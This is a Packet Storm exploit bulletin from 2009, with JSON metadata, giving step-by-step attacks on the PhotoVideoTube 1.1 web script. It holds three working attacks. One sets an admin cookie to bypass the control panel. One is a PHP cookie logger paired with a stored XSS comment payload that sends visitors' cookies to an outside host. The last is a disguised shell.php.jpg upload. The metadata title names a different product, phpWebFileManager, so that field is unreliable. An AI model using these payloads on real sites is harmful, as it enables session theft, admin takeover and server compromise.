ID PACKETSTORM:77773 Type packetstorm Reporter Hakxer Modified 2009-05-24T00:00:00
Description
` ___ ___ __
/ | \_____ | | _____ ___ ___________
/ ~ \__ \ | |/ /\ \/ // __ \_ __ \
\ Y // __ \| < > <\ ___/| | \/
\___|_ /(____ /__|_ \/__/\_ \\___ >__|
\/ \/ \/ \/ \/ :: Egy Coders Team Researcher
/- PhotoVideoTube v 1.1 => Multiple Vulnerabilities
/- ( Insecure Cookie Handling & Cookie Grabber & Upload Shell )
/- http://photovideotube.com/
/- see demo script and executing vulnerabilities
/- Greetz : ExH , ProViDoR , Error Code , Bright D@rk , Sinaritx
* hi every body
* this script have a three vulnerabilities the first one
* cookie handling you can bypass control panel
* paste this js code
* javascript:document.cookie="username=admin";
* then go to http://host/path/admin/main.php
* now we are in a control panel
* ok second vulnerability Cookie Grabber
* first make file ( logger.php ) and paste this code in it
<?php
$cookie = $_GET['cookie'];
$logger = fopen("logger.txt", "a");
fwrite($logger, $cookie ."\n");
fclose($logger);
?>
* and chmod file to 777
* now go to http://host/path/comment_pics.php?imgId=id
* and write this comment
* <script>document.location ="http://host/path/logger.php?cookie=" + document.cookie;</script>
* and click submit
* now if admin seen this picture cookie will sent to your logger.txt
* third vulnerability
* first make a account
* and go to upload photos http://host/path/upload_pics.php
* and upload shell like shell.php.jpg
* then show shell
* Be Safe
`
{"type": "packetstorm", "published": "2009-05-24T00:00:00", "reporter": "Hakxer", "hashmap": [{"key": "bulletinFamily", "hash": "708697c63f7eb369319c6523380bdf7a"}, {"key": "cvelist", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "cvss", "hash": "d4be9c4fc84262b4f39f89565918568f"}, {"key": "description", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "href", "hash": "122d259e339bdc1b850c297b46c59d3f"}, {"key": "modified", "hash": "16add987c30c49d183074d90c503bfff"}, {"key": "objectVersion", "hash": "56765472680401499c79732468ba4340"}, {"key": "published", "hash": "16add987c30c49d183074d90c503bfff"}, {"key": "references", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "reporter", "hash": "2f5740831163a3bd219141619cbe723f"}, {"key": "sourceData", "hash": "545b6c3e60ba2d7ac2daef3b56228a2b"}, {"key": "sourceHref", "hash": "6016adceb6c14d365de21d3e3d403d0d"}, {"key": "title", "hash": "e1e0c274f9299cc7a3f5c739d680f950"}, {"key": "type", "hash": "6466ca3735f647eeaed965d9e71bd35d"}], "bulletinFamily": "exploit", "cvss": {"vector": "NONE", "score": 0.0}, "sourceData": "` ___ ___ __ \n/ | \\_____ | | _____ ___ ___________ \n/ ~ \\__ \\ | |/ /\\ \\/ // __ \\_ __ \\ \n\\ Y // __ \\| < > <\\ ___/| | \\/ \n\\___|_ /(____ /__|_ \\/__/\\_ \\\\___ >__| \n\\/ \\/ \\/ \\/ \\/ :: Egy Coders Team Researcher \n \n/- PhotoVideoTube v 1.1 => Multiple Vulnerabilities \n/- ( Insecure Cookie Handling & Cookie Grabber & Upload Shell ) \n/- http://photovideotube.com/ \n/- see demo script and executing vulnerabilities \n/- Greetz : ExH , ProViDoR , Error Code , Bright D@rk , Sinaritx \n \n* hi every body \n* this script have a three vulnerabilities the first one \n* cookie handling you can bypass control panel \n* paste this js code \n* javascript:document.cookie=\"username=admin\"; \n* then go to http://host/path/admin/main.php \n* now we are in a control panel \n \n* ok second vulnerability Cookie Grabber \n* first make file ( logger.php ) and paste this code in it \n<?php \n$cookie = $_GET['cookie']; \n$logger = fopen(\"logger.txt\", \"a\"); \nfwrite($logger, $cookie .\"\\n\"); \nfclose($logger); \n?> \n* and chmod file to 777 \n* now go to http://host/path/comment_pics.php?imgId=id \n* and write this comment \n* <script>document.location =\"http://host/path/logger.php?cookie=\" + document.cookie;</script> \n* and click submit \n* now if admin seen this picture cookie will sent to your logger.txt \n \n* third vulnerability \n* first make a account \n* and go to upload photos http://host/path/upload_pics.php \n* and upload shell like shell.php.jpg \n* then show shell \n \n* Be Safe \n \n`\n", "viewCount": 0, "history": [], "lastseen": "2016-11-03T10:28:02", "objectVersion": "1.2", "href": "https://packetstormsecurity.com/files/77773/phpWebFileManager-1.11-Bypass-Shell-Upload.html", "sourceHref": "https://packetstormsecurity.com/files/download/77773/phpwebfilemanager-bypass.txt", "title": "phpWebFileManager 1.11 Bypass / Shell Upload", "enchantments": {"score": {"value": 0.3, "vector": "NONE", "modified": "2016-11-03T10:28:02"}, "dependencies": {"references": [], "modified": "2016-11-03T10:28:02"}, "vulnersScore": 0.3}, "references": [], "id": "PACKETSTORM:77773", "hash": "c886519c0897bdead5a0950148b7f3d9677234291cf34e80a5becbf30d1728c3", "edition": 1, "cvelist": [], "modified": "2009-05-24T00:00:00", "description": ""}
